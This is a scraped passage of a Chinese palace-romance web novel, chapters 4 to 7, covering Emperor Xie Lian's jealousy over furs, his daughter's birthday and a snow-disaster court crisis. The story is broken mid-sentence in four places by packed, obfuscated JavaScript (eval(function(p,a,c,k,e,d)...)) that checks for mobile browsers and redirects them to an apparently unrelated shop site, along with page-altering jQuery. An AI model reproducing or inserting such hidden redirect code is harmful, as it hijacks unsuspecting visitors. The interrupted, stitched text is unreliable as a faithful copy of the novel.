在李德全进来的时候,谢敛已经感觉到了,他手上的动作不停,等李德全近身给他添茶的时候才说话。 “东西都送去了?” 不咸不淡的语气,让人猜不透他的心思。 李德全将茶盏恭敬地放在桌边,才将在凤鸾宫的事情一一回禀。 说完之后,他悄悄觑了一眼谢敛的神色,不看还不要紧,一看便发现对方神色晦暗不明。 他不知道哪句话说错了,立刻惊得背后出了一身汗。 “除了这些,皇后便没有说什么了?” 这次的语气沉了许多,李德全一听就知道陛下这是不高兴了。 他斟酌了一下,才道:“娘娘似乎很喜欢北地进贡的皮毛,日后娘娘和公主穿着陛下赏赐的皮毛,必然也会感念陛下。” “好,好......” 半晌之后,谢敛才连说两个好字。 薛弗玉想到了自己和昭昭,却没有他的份,明明那些料子是他赏赐给她的,她不仅没有念着他,就连道谢也是敷衍到让李德全来代替。 真是,好得很! 李德全已经汗流浃背,他也不知道好端端的,陛下怎么就不高兴了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007130|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>很快,李德全福至心灵,好像知道为何陛下会心情不好了。 娘娘用那些皮毛给自己和公主做御寒的衣物,却独独忘记了给陛下的做一件,哪怕是做一双手套给陛下呢,也难怪陛下会生气。 他灵机一动,连忙给薛弗玉找补:“陛下,娘娘唯独还留着墨狐的皮毛,奴才想那定然是娘娘留着给陛下做狐裘的。” 谢敛见他这幅谄媚样差点气笑,当他是三岁小孩么,他冷笑一声,不再说话。 气归气,当晚他还是去了薛弗玉的凤鸾宫,他倒要看看这个女人到底多没心肝。 到了门口照例不让人通传,他独自进了薛弗玉的寝殿。 一转十二月,地龙已经烧了起来,才进去他就被暖气包围,接着闻到了一股浅淡的花香,细闻之下,是他常在薛弗玉身上闻到的山谷百合香。 他脚下的步子一停,目光穿过珠帘,落在坐于西窗边的女子身上。 此时她的手中拿着剪子,手上是上好的一块料子,那料子他一眼就能看出是白天他让李德全送的贡品之一。 “昭昭的皮肤细嫩,针线用棉线就好,切勿为了好看而用些华而不实的。”女子一边裁着料子,一边与坐在对面理针线的碧云说话。 碧云笑道:“娘娘这话已经与奴婢说了好几回,奴婢早已记住了。” 这样的话并未让薛弗玉感到冒犯,她抿唇一笑:“她的东西,我总是想要再小心一些。” 她许久才怀上昭昭,生产时又差点出事,对于这个来之不易的女儿,她自然是宝贝得紧,若不是于礼不合,她甚至想让昭昭一直住在凤鸾宫。 提到昭昭,她脸上温柔尽显,一双美目流光溢彩,脸上的笑意愈发明显。 谢敛突然觉得周遭的景物慢慢的变了,那些华美的摆饰逐渐褪色,变成粗糙的物件,连墙壁都变得暗淡无光。 “阿敛,这是我给你做鞋子,快来试试。” 温柔的声音在耳畔响起,他抬头,正好看见薛弗玉穿着一身素衣,坐在一把已经发了霉的椅子上,一对似含了秋水的眸子里,映出少年略带错愕的脸。 薛弗玉见少年愣着,于是站了起来走到他的身边,“你脚上穿的这双鞋子已经不合脚了,我重新给你做了一双,我估摸着你的尺码做的,也不知道合不合脚,你先试试,好吗?” 那张灿如春华的脸撞进少年的瞳孔,他往后退了一步,看见她手指上被针戳出的口子,不知为何,心里筑起的警惕逐渐瓦解。 谢敛只听见少年涩着嗓子,轻轻说了句好。 从那以后,除了鞋袜之外,她还会给他做衣裳等。 四年里,她给他做过不少东西。 “陛下?” 同样温柔的声音,将他从回忆中唤醒。 眼前的女子和十年前变化不大,仍旧柔婉。 薛弗玉不知道谢敛在那站了多久,她一颗心都扑在了女儿身上,直到她感觉到了一道奇怪的视线落在自己身上时,这才发现了他。 男人似乎没有听见她说话,倒像是在透过她看什么。 谢敛回神,掀开珠帘走了进去。 “皇后好兴致。” 只是短短的几个字,薛弗玉便听出了不悦。 她不知道他怎么又不开心了,发现他正看着自己手中的料子,她眨了眨眼睛。 难道,他是在心疼这些送给她的东西? 瞧见她眼中的茫然,谢敛的心里蓦地涌上一股气。 5. 第 5 章 碧云在薛弗玉发现谢敛之后,就识趣地出去了。 很快屋内只剩下他们二人。 薛弗玉起身要行礼,却被谢敛抬手制止:“朕说过,皇后不用与朕这般生分。” “谢陛下。”她垂眸。 她那不是见他不高兴,万一不行礼,他借题发挥给她治个罪,岂不是冤枉? 她维持住面上的柔和,却在心里暗暗腹诽。 谢敛扫了她一眼,发现她神色温和。 看着一脸乖顺的女子,他肚子的气一时发不出来,于是走到她的身边,在她方才坐的位置坐了下去。 薛弗玉只得去了对面坐下。 “陛下可要吃点东西,小厨房里还煨着金玉羹。” 她说着话,目光却落在谢敛身前炕案上放着布料。 那是她用来给昭昭做贴身衣物的。 谢敛顺着她的目光拿起那料子,却没有回答她的问题,只是问道:“宫里有尚衣司,皇后还要亲自动手,真是难得。” 这话听着不像是夸她,倒像是有些阴阳怪气。 薛弗玉今日才第一次见到谢敛,她并不认为自己哪里惹到他了,眼下见他拿着块布料这般,愈发觉得是他后悔把这些东西赏赐给了自己。 这男人什么时候这样小气了? 她像是没听懂他的嘲讽,柔声回答:“陛下说得不错,尚衣司的宫女们手艺自然是比臣妾好上百倍,可臣妾是昭昭的母亲,昭昭身上穿的贴身衣物,臣妾并不想假他人之手。” 那他的呢? 这个问题到底是没有问出口,他在心里冷哼一声,到底做不出与女儿争宠的事来。 “白天给你的那些东西,可还喜欢?”他放下手中的料子,状似无意地问。 果然,这是在这里等着她呢。 薛弗玉偷偷观察了一下他的神色,发现他脸上仍是淡淡的,一时有些拿不准。 她虽然知道他心疼送给她的东西,可那些东西进了她的库里,就别想让她再吐出来。 于是抬起头对他露出一个温婉的笑:“陛下赏赐给臣妾的东西,臣妾一向喜欢,尤其是那几件北地进贡的皮毛,臣妾更是喜欢得不得了,陛下待臣妾这样好,让臣妾很是感激。” 她都说到这份上,她不信谢敛还能开口要回去。 谁知道不提皮毛还好,一提到皮毛,原本还对着她的笑靥失神的男人,很快脸色又沉了下去。 这女人是真傻还是在故意的? 他皮笑肉不笑道:“皇后喜欢就好。” 薛弗玉当然能听出他语气中的不悦,只是这种情况还是她第一次碰见,之前几年谢敛将进贡的东西眼也不眨的都给她时,并未如现在这般。 难不成是年纪渐长,人也会跟着变小气吗? 果然做了皇帝的男人,心思都是很难让人猜透的。 虽然从前她也不怎么能猜透他的心思。 “陛下送的东西,臣妾自然是都喜欢的。”她谨慎回答。 谢敛见她油盐不进,莫名一口气堵着上不来也下不去,他被一团复杂的情绪缠绕着,直到窗外一声尖锐的鸟叫声划破寂静的夜晚,这时候才清醒了许多。 他怔然,自己何时因为一件小事而动气了? 实在是不像他。 也实在是不应该。 他暗自深吸了一口气,对着眼前柔美的女子道:“夜深了,歇了吧。” 薛弗玉望着男人那张神色稍霁的脸,有些莫名其妙。 这一晚,榻上的男人如往常一般缠着她索要,迷离间,薛弗玉仿佛听见他喑哑着嗓音唤了她一声。 “玉姐姐……” 语气中似带着一点委屈。 谢敛每次与她做这种事,几乎从来不会说话,也冷静得可怕。 在她还未来得及细想这一声是否幻听时,男人突然轻咬住了她的耳垂,激得她身子一阵战栗,再无暇去想别的。 翌日。 一早,薛弗玉带了昭昭去太后宫中请安。 太后喜清静,也不喜欢宫妃每日前来请安那一套,所以直接免了薛弗玉的日常请安。 但是她偶尔还是会带着女儿去太后的宫中坐坐。 甬道上,薛弗玉抱着昭昭,她们从太后宫里出来后,又带着昭昭去了西苑逛了一圈,临近晌午才回凤鸾宫。 昭昭双手搂着薛弗玉的脖子,一双与她阿娘如出一辙的眸子好奇地看着一路上凋零的景色。 “阿娘,嬷嬷说等下雪了,就给昭昭堆个雪人,阿娘,什么时候会下雪呀。” 去年她才两岁,还没有真正记事,所以当伺候她的宫人们说起今年入冬早,大约下雪也会很早的时候,她开始缠着她们问什么是雪。 等宫人们给她解释了什么是雪之后,她便开始期待了。 薛弗玉低头,温柔道:“等到昭昭生辰的时候,就会下雪了。” 严格来说,昭昭还未真正满三岁,她生于十二月中旬。 那一年她出生的时候,上京罕见地下了一场大雪。 正是瑞雪兆丰年。 虽然昭昭是女孩,可谢敛待这个他登基后第一个出生的孩子,却是不同的,满月的时候不仅大赦天下,甚至给她赐了封号,封号还是他亲自想的。 这样明目张胆的偏爱,抚平了薛弗玉心底的不安。 “阿娘,昭昭的生辰父皇会与昭昭一起过吗?”昭昭搂紧了薛弗玉的脖子,稚气的嗓音带着期盼。 公主不似皇子,过生辰的时候并不会大办,可昭昭不一样,整个宫中就她一位公主,也是谢敛唯一的孩子。 薛弗玉想他就算再忙,也会与她一道给昭昭庆生。 她用额头碰了碰昭昭肉嘟嘟的脸:“你父皇自然会与昭昭一起过生辰,还会给昭昭送礼物呢。” 说完又开始逗昭昭,昭昭被逗得哈哈大笑,愈发地贴着她。 这样温馨的画面让跟着的宫人眼中忍不住露出笑意。 只是没有维持多久,在转角时,就被一个意外出现在眼前的,看着脸生的小姑娘给打破了。 那小姑娘穿着一身丹色的裙子,扎着漂亮的头绳,模样看起来大约有六七岁,她一边回头看,一边笑着往她们这边跑来。 眼看着就要撞上薛弗玉。 幸好碧云眼尖,闪身挡在了她们母女二人跟前。 “哪来的小孩,竟敢冲撞娘娘!” 她一手嵌住小姑娘的手,把人给制住,语气带着威严。 小姑娘被眼前这个严肃的宫女给吓到了,眼泪在眼圈中打转,她今天是第一次进宫,母妃说这里是皇祖母的家,可以随意玩。 她一向玩心重,于是故意和宫人玩起了捉迷藏的游戏。 只是没想到会碰见这些人,她被碧云着仗势吓得不行,可一想到这里是皇祖母的地盘,谁都不敢得罪她,于是大着胆子道:“快放开本郡主,再不放开我让皇祖母治你们的罪!” 郡主? 薛弗玉眼中闪过一丝疑惑,不等她多想,小姑娘的声音又再次传来:“你们是谁,竟敢这样对待本郡主,小心你们的脑袋!” 碧云什么大风大浪没见过,根本不吃她这一套,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007131|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到薛弗玉开口。 “碧云,放开她,再去看是哪位宫人跟着她的,把人送回母后宫里去。” 听到这一声低柔的嗓音,小姑娘这才认真地打量起刚刚差点被她撞到的女子。 只见女子穿着漂亮的衣裳,怀中抱着一个粉装玉琢的女娃,二人的相貌皆是不俗,因女子发话让嵌着自己手臂的宫女松了手,还让人送她回皇祖母的宫中。 她心里便对她生出了几分的好感。 重新得到了自由,她仰着一张脸,有些傲气地对着碧云道:“念在你不认识本郡主的份上,这次本郡主就不同你们计较,原谅你们的无礼。” 说着冲薛弗玉扮了个鬼脸,转身一溜烟就跑了。 薛弗玉倒是不会跟一个小孩子计较,她转头吩咐一个宫人:“快追上去看着她,别让她乱走。” 既然那小姑娘自称郡主,大约是哪位郡王的女儿,听说前些日子宣王一家子进京了,那小姑娘大约是宣王的女儿。 回去陪着女儿用了午膳,哄睡女儿的薛弗玉听完素月回禀的话,陷入了沉思。 “娘娘,已经十来天了,李公公那边一直都声称没有收到薛将军的家书,是否要奴婢派人去外边打听消息?” 薛弗玉算了算时间,才发觉阿弟的家书已经迟了快一个月。 心中隐隐有不好的猜想,可是谢敛那边又不愿她提起阿弟,除了让人出宫打探消息,她再无他法。 “就按你说的,谨慎些,别让他知道了。”薛弗玉道。 这件事要做得隐蔽,不能让谢敛知晓,免得他多想。 “还有什么事?” 见素月没有离开,她问。 素月便道:“娘娘先前让奴婢打听到事情有了,薛家三爷犯的事不一般,是收受贿赂,被人拿了个人赃俱获,因受贿的钱财不大所以不会牵连薛家,但会被罢职,除此之外,几年的牢狱之灾也免不了。” 薛弗玉走出偏殿,抬头看着一眼灰蒙蒙的天,她叹道:“薛家真是没一个省心的。” 素月问:“那薛家三爷的事?” 薛弗玉收回目光:“不必管。” 前些年谢敛才登基,根基不稳的时候,她的大伯仗着当初帮了谢敛一把,而她这个皇后又出自薛家,便想要以此来拿捏他,结果不出两年,就被谢敛找了个理由调任去了岭南,明升暗贬,至今都还在岭南不得回。 这些年薛家别想在谢敛那里得到一点儿好处,不把他们都发配去边疆都算他仁慈了。 薛家人当真以为谢敛好拿捏,估计他现在还记十年前,他们强硬把他的定亲对象换了的事。 别人不知道,她可是知道当初嫁给谢敛的时候,看见喜帕下的人是她时,他是什么神情。 除了不可置信之外,还有憎恶。 即使她多次解释,他也不信,觉得是她联合起薛家人一起骗他。 后来她才得知,她的四妹妹与谢敛算得上是青梅竹马,不仅如此,四妹妹还时常偷偷帮助谢敛,而谢敛面对这个未婚妻时,也会卸下所有防备。 少年少女之间,总是容易生出情愫的。 那时候她才明白,原来谢敛很喜欢四妹妹。 可她呢,谢敛可有想过她也是被迫嫁给他的。 她失去双亲,带着阿弟回京投靠薛家,换来的却是一场算计。 “薛家人当年那般对待娘娘,娘娘不帮是情有可原,不然那些年您受的委屈,找谁说理去?”提起从前,素月脸上难得露出不忿。 薛弗玉抿唇,到底没说什么,眼下最重要的还是阿弟的消息。 6. 第 6 章 长信宫。 太后和身着素净的女子正坐在一处儿说话。 当今太后不是皇帝的生母,这是所有人都知道的事情。 当初皇帝登基之后,太后为了自保和保住自己的亲儿子,只能退居长信宫中不问世事,若无大事,基本连宫门都不出。 “母后在宫里可还好?” 薛明宜自然是感觉到了太后这里过分的清静,她试探道。 本以为进京之后能与父母亲团聚,却没有想到父亲竟然入狱了,她一时不知道找谁救人,求助无门之际,幸而姑母还记着她。 太后自然看出了她的试探,她不动声色喝了一口茶,才缓缓道:“做了太后倒是和从前做妃子时不一样,唯一相同的,左右不过都是在宫中,哪里有什么好不好的,不管如何日子还不是照样过。” 薛明宜无奈笑道:“本以为侄女已经过得不易,没想到姑母也与侄女一样艰难。” 她的话说得直白,让太后生出不悦,可她说得又是对的,索性道:“今时不同往日,陛下早已不是当年那个任人摆布的皇子,陛下年纪大了,羽翼早已丰满,如今他掌握着天下人的生死,还不是想如何便是如何。” 话点到为止,没有说尽。 薛明宜却听明白了她话里的意思。 她今日进宫见姑母,除了想要求姑母想办法救一救父亲之外,自然还存了点旁的心思。 那就是见谢敛。 “母后的意思,我明白了。” 薛明宜想清楚了,西北那种地方她是不能回去了,若是能,若是能让谢敛记起他们从前的情谊,更有甚者...... 后面的她不敢再想,可弟夺兄妻的事情又不是没有发生过,更何况谢敛是皇帝,他想要什么难道别人还能拦着不成? 见薛明宜脸颊两边生出红晕,太后便知道了她的想法。 她道:“明宜,当年若不是你不肯嫁他,如今皇后本是你,听三哥说,你这些年在西北过得也不顺遂,你可知道,陛下久久不纳妃子,皆是因为心中还念着从前求而不得的女子,如今机会就在你眼前,就看你能不能把握住。” 薛弗玉虽然自当上皇后之后,从未为难过她,可她当初可是帮着薛家人一起算计这个侄女的,她的心里多少还是有些防着薛弗玉的。 与其胆战心惊,不如让与自己较为亲近的侄女进宫,最好能获得谢敛的恩宠,这样她就能有机会见到自己的儿子了。 薛明宜没想到太后这样直接,她脸上的红晕愈发的深:“母后,王爷才离世半年不到,我岂能做出那等事情来。” 再说她也不确定谢敛现在是否还记着她。 太后听了她的话,掩去眼中的鄙夷,她悠悠道:“如今陛下不待见我这个太后,三哥现在又还在牢中,况且不久就要下雪了,牢里什么都没有,就怕三哥的身体会遭不住。” 薛明宜听到父亲要遭罪,这时候也顾不上什么矜持了,她咬唇道:“这件事我会考虑,只是这么多年了......” 太后知道她最终下定了决心,便道:“姑母之前说的话并非空穴来风,陛下是个念旧的人,你与他相识于年少,年少得不到的东西,总是会让人格外执着。” 薛明宜几乎要被太后的话给说服了,她点头:“就算是为了父亲,我也要试一试。” “母妃!” 门外响起一道清脆的童音,接着一道丹色的身影跑了进来,而后又在薛明宜跟前停了下来。 正是差点撞上薛弗玉母女的小姑娘。 “累了吗?”薛明宜拂开她额头的碎发,“累了咱们就回去。” “嗯!”小姑娘猛地点头,却没有说遇到薛弗玉的事情。 —— 十二月十二日,离昭昭的生辰只剩下两天。 “昭昭,当心点,别摔了。” 凤鸾宫的院子,昭昭正在和几个年纪半大的小宫女玩老鹰捉小鸡的游戏,一张小脸因为玩闹而变得通红。 薛弗玉看着她迈着小短腿费力地追着人玩,有些忍俊不禁。 半晌,她将目光从女儿的身上收回,落在了一旁的男人身上。 男人那双深不见底的眼眸正盯着一处,似乎在想什么事。 想起再过两天便是昭昭的生辰,她怕男人忘记,只好趁此机会出声提醒他:“陛下,后日十五便是昭昭的生辰,不知道陛下那天可有空?” 她知道如今到了岁末,朝中各种大大小小的事情只会越来越多,她也不要求谢敛丢下国事一整天都陪着昭昭,至少能抽空陪昭昭一起吃一顿晚膳。 谢敛听见女人柔柔的嗓音,思绪回笼,垂眸正好看见她正微微仰着头看着他,眼中隐隐含着期待。 他记得刚成亲那会儿,他与薛弗玉的身高其实差不多,是从何时开始,她与他说话都要仰头了? “陛下?您是没空吗?” 见他失神,薛弗玉又再问了一遍。 谢敛这时候才回答:“那日朕会尽量早些回来。” 这算是答应她了。 “臣妾先替昭昭谢过陛下了。” 这一次语气中的高兴明显溢了出来,她的唇边绽出一个浅笑。 即便最开始不情愿地娶她,可谢敛从见她第一面的时候就知道,他这表姐生得极美,京中所有女子都远不及她,就算是过了十年,容貌仍旧不减,甚至因为年纪的增长,而增添了一抹成熟的韵味。 变得更加地勾人。 真是,妖精。 怪不得那些男人见了她连道都走不动。 而现在,这个勾人的妖精,是与他相守十年的女人。 “哎呀!” 一道惊呼声唤得他回神,他顺着声音看去,正好看见昭昭整个人都摔倒在了地方。 “昭昭!” 不等他有所动作,身边的薛弗玉早已提着裙子下了石阶,快步走到了昭昭的身边,她心疼地把昭昭抱了起来。 “奴婢等该死!” 她的身后跪了一地的宫女,一个个伏在了地上,瑟瑟发抖。 薛弗玉此时哪里还有多余的心思去管她们 ,只是抱着摔懵了的女儿,上下查看她有没有受伤。 许是被母亲担心的声音感染,这时候昭昭才哭了出来。 “哪里摔疼了,快告诉阿娘!” 她着急地哄着昭昭,才哄了一会儿,就有一双修长的手臂从她的怀中把女儿接了过去。 “连公主都看不好,自己去领罚。”带着凉意的声音在耳边响起。 薛弗玉看了一眼哭得上气不接下气的女儿,又看见跪伏在地上的几个小宫女,她叹了口气,道:“罢了,小孩子玩闹摔了是时常有的事情,陛下若是罚了她们,以后谁还敢与昭昭玩?” 说着又拿着帕子擦拭昭昭碰了地面的手,一边又柔声安慰昭昭:“昭昭别哭,阿娘帮昭昭呼呼就不痛了......” 谢敛见她蹙着眉,拍了拍女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007132|194041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿的后背,最后没有反驳她的话,只对着宫人道:“不许再有下次。” 宫人们感激地看了一眼薛弗玉,纷纷退下。 抱着人进了偏殿后,在薛弗玉的轻哄中,昭昭的哭声渐渐止住了,人也哭累了,最后趴在谢敛怀中逐渐睡着了。 把人安置在榻上后,薛弗玉去吩咐宫人打热水。 吩咐完转头正好看见男人沉着一张脸,正动作生疏地替女儿解着外衣,虽然不熟练,却小心翼翼,生怕碰坏了女儿。 这倒是让她有些意外。 以前她哪里见过他做这样的事情。 她记忆中,谢敛一直都在忙着朝事,从她怀孕到生女,他的陪伴都是很少。 偶尔她也会在一个人在深夜,独自哄着女儿睡觉的时候,会在心里对他生出埋怨,可她知道他坐上皇帝这个位置不容易,也知道做了皇帝,他的心里便装下了更多的东西。 至于有没有她的一点位置,她也不在意,反正她是皇后,如今已是一人之下万人之上。 她只希望他心里有昭昭这个女儿。 宫人端着热水进来,薛弗玉并未动手,而是示意宫人把热水送到了谢敛身边,她倒是想看看谢敛能做到哪种地步。 没想到谢敛二话不说,亲自洗了帕子给昭昭不甚熟练得擦脸和手,倒是出乎意料。 看着高高在上的男人,此时板着一张脸手忙脚乱地照顾着女儿,除了惊讶之外,薛弗玉心里更多的是说不出的滋味。 但总归,他心里有昭昭。 她由衷地替昭昭感到高兴。 “笑什么?” 低沉的嗓音传来,薛弗玉这才发现谢敛已经走到了她的身边,黑色眸子盯着她,似乎想要看穿她的内心。 薛弗玉看了一眼外头黑下来的天色,脸上的笑不减。 女儿已经熟睡,屋内只剩下他们,她主动贴近男人,抬手环住了男人劲瘦的腰,将脸贴着他的胸膛,轻声回答:“臣妾只是觉得,昭昭能有陛下这样的父亲,是昭昭的福气。” 她一向知道男人最喜欢她什么,所以并不介意利用自身的优势,牢牢抓紧对方。 山谷百合的幽香有袭来,谢敛低眉,便能看见女子柔美的脸,此时雪白的脸颊上泛着淡淡的粉,难得露出几分女儿家的娇羞来。 如果他没记错的话,这还是她第一次主动对他做出这般亲密的举动来,思及此,他心神微动,大掌紧紧贴上她的腰背。 经过方才亲自照顾昭昭,他便能体会到这三年来她照顾昭昭的不易,他之前一直忙于政事,对她们母女二人确实疏忽了。 可她这些年竟是对他半句怨言都没有,仍旧全心全意对待他,以及他们的女儿。 怀中女子的柔顺温婉,是他最满意的地方,也是他登基之后愿意给她一份体面的原因。 “这些年你辛苦了,是朕亏待了你。”男人喟叹道。 没想到他会说这样的话,薛弗玉脸上划过一丝讶异,她本意想让谢敛多怜惜昭昭的。 过往十年的相处中,她不信谢敛没有看见她的难处和辛苦,如今过了十年,他再说这种话,自然感动不了她半分。 现在说这些话,还有什么意思?她在心里苦笑。 她愈发温柔地紧紧贴着谢敛,声音柔软得不像话:“臣妾这些年的辛苦算不得什么,只要陛下觉得臣妾辛苦,那么臣妾便不辛苦。” 谢敛不察她的内心,只觉得她变得更加的温柔贤惠。 7. 第 7 章 正如薛弗玉所说,到了昭昭生辰这一天,天空开始下起了小雪。 细小的雪花才落在地上,没一会儿就化掉了。 薛弗玉正在陪昭昭玩。 今天是昭昭的生辰,正逢尚衣司送了刚制好的狐裘以及风领和手套来。 司衣领着几位宫人行礼道:“启禀皇后娘娘,东西已经做好,请娘娘看是否满意。” 薛弗玉牵着昭昭的手走了过去,看见大红漆盘上整齐叠放的白色狐裘,手放了上去,触摸到柔软温暖的毛之后,她脸上露出满意。 “阿娘,昭昭也要摸。” 那漆盘比昭昭还要高,她垫了垫脚尖,根本什么都看不见。 薛弗玉弯腰将人给抱起来,温柔道:“这件是给昭昭穿的,昭昭喜欢吗?” 昭昭看着漂亮的白狐裘,她不知道什么是好,只觉得这是阿娘给她的,她重重地点头:“阿娘给的,昭昭喜欢。” 不管阿娘给昭昭什么,昭昭都喜欢。 薛弗玉捏了捏她的小脸,笑着问:“那昭昭要不要穿上试试,等雪再大一些,昭昭就可以穿着它在雪地里玩打雪仗。” 昭昭不知道什么是打雪仗,她拍了拍手,高兴道:“昭昭要穿!” 薛弗玉放下她,拿了小小的狐裘给昭昭穿上,司衣还特别贴心地给狐裘缝了帽子,帽子上还有两个可爱的兔耳朵。 昭昭本就继承了父母优秀的相貌,生得比年画上的娃娃还要精致,穿上狐裘之后,像个雪精灵。 “真是个漂亮的小公主。” 薛弗玉在女儿的脸颊上亲了一口,昭昭被她亲了,发出咯咯的笑。 司衣见她喜欢,便也笑着问道:“公主试了,娘娘可要试一试?” 就算是她不问,薛弗玉本也是想要试试,若是不合适,也好当下就让司衣带回去改一改。 她浅笑着点了点头,司衣很有眼力见地拿起狐裘,亲自替她披好。 昭昭在一旁目不转睛地看着阿娘穿上和她一样的狐裘。 “好看吗?” 薛弗玉见女儿呆呆地看着自己,故意在她眼前转了一圈。 “好看,阿娘最好看了。” 等她停下后,昭昭抱着她的腿撒娇。 殿内本就温暖,薛弗玉穿了一会儿狐裘便觉得热,她先是哄着昭昭脱了狐裘,又把自己身上的也脱了,剩下的风领和手套她草草看了一眼,便吩咐道:“碧云,把这些收好。” 又对着司衣道:“本宫很满意尚衣司做的狐裘,今日尚衣司上下全部有赏。” 司衣听到有赏赐,脸上的笑意更深,皇后娘娘素来出手大方,所以她特意挑在今天公主的生辰来送这些。 娘娘心情大好,给她们的赏赐就会额外的多。 她正要再次行礼道谢,谁知道感觉衣角被人扯了一下,一低头,正好对上昭昭那双黑葡萄似的眼睛。 “司衣姐姐,为什么只有昭昭和阿娘的,父皇的呢?” 稚气的童音仿若投入湖中的一粒小石子,泛起了一圈圈的涟漪。 碧云仿若察觉到了什么,她蹲下身子,骗昭昭:“陛下的狐裘她们自然也做了,公主不用担心。” 说完她偷偷看了一眼神色平静的薛弗玉,心里暗暗担心。 司衣没想到昭昭会问这个,她本就疑惑为何没有陛下的份,还以为皇后娘娘会再让她们给陛下裁制。 谁知等娘娘和公主的做好了,仍旧没有等来娘娘的吩咐。 想到昨日从关系好的姐妹口中听到的消息,她一时有些忐忑。 难不成那位回来的事情,娘娘早已知晓,还因此与陛下生了嫌隙? 不容她多想,薛弗玉说话了。 “你父皇身体强壮,他不怕冷,不需要这些。” 她没有顺着碧云的话去说,只简单说了这句。 她从收到皮毛开始就没有考虑过谢敛的份,从前他还是皇子的时候,她之所以会给他做那些,皆是因为尚衣司的人给他们的衣裳很敷衍,粗糙得都穿不下去。 她不愿意穿硌人的衣裳和不合脚的鞋子,只能自己试着动手做,她与谢敛是夫妻,自然不能只做自己的,便顺手也给他做了。 但他每次都是不情不愿地穿了。 如今他已是皇帝,要穿什么要吃什么有一堆人给他做,尚衣司的手艺比她好上不少。 他登基后,她倒是还曾给他做过一双鞋,可他说她不必再做这些事,她怀疑他是在嫌弃她的手艺,索性自那之后,她再未给他做过任何东西。 等司衣带着宫人离开后,天也慢慢黑了下来。 “素月,你去金銮殿一趟,将陛下请来。” 谢敛那天答应过她的,说会尽量来她这里。 谁知道天都黑了,仍旧不见他的身影,她把女儿抱在怀中,看着窗外逐渐大起来的雪,心中隐隐有些担忧。 金銮殿。 几位大臣还在里头,今天他们突然收到地方送上来的急报,说是位于偏西北的覃郡一带发生了严重的雪灾,不少百姓的房屋被大雪积压坍塌,厚厚的大雪冻死了地里的庄稼,也覆盖了大面积的草地。 雪灾已经导致几百人伤亡,牲畜也被冻死饿死不少。 眼下最重要的就是朝廷拨款赈灾。 金銮殿内的气氛压抑到令人窒息,几位大人皆是垂首,不敢出声。 御座上的男人沉着脸色,扫了一眼下面的几位臣子,将手中的急报拍在了案上。 啪的一声,惊得人下意识抖了一下。 “半月前的雪灾,今天消息才送到朕的案前,几位爱卿做事是愈发好了。” 刘钧因为他的话,羞愧地一张老脸通红。 这件事本就是他们的疏漏,没想到覃郡太守竟敢瞒报,而他们竟然还没想过要去核实,只为了岁末少做些事情轻松些,便盲目信那覃郡太守的话。 直到现在冻死的百姓和牲畜越来越多,事情彻底压不住,覃郡长史冒险让人送来的这一份急报,终于揭开了雪灾的真相。 “臣等办事不力,还请陛下降罪!” 以刘钧为首,殿内的几位大臣都跪倒在地上,他们知道越是狡辩,就越会激起皇帝的怒火,还不如老老实实挨骂。 过了两年的好日子,他们便忘了当初陛下是怎么杀出一条血路,从最不受宠的皇子登上帝位的。 他们这位陛下,从来不是什么心慈手软之人,这些年在陛下的治理之下天下海晏河清,战乱平定,近两年他们沉浸在安宁之中,便忘了从前经历的腥风血雨。 也忘了那一年血洗金銮殿的事。 谢敛看着跪倒一片的大臣,脸上的神色没有一点缓和。 他淡声道:“诸位爱卿今晚就在这商量如何赈灾的对策,明日一早让人去办,若是天亮前没有给出可行的办法,今后也不必再站在这里了。” 这些人舒服太久,当真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殿内的气氛依旧没有好转,甚至因为方才谢敛毫不留情的话,变得更加的沉闷。 几位大臣此时更围在一处焦头烂额地商讨着办法。 李德全偷偷看了一眼御座上的男人,瞧见他的表情之后,瞬间连大气都不敢出。 可一想到素月的话,他又不得不硬着头皮上前,借着换茶的功夫,小心提醒:“陛下,皇后娘娘那边遣了人来,说是......” 话还没说完,就被一道沉冷的声音打断了:“告诉皇后,朕今晚不去她的宫中。” “陛下,今天是......”李德全想要再次提醒,却收到了一道寒光。 最后他权衡利弊,到底不敢真的找死,闭了嘴。 谢敛收回自己的目光,脑中一瞬间闪过什么东西,还来不及捉住,又消失不见,正待要深想,刘钧等人已经想到了雪灾的应对之策。 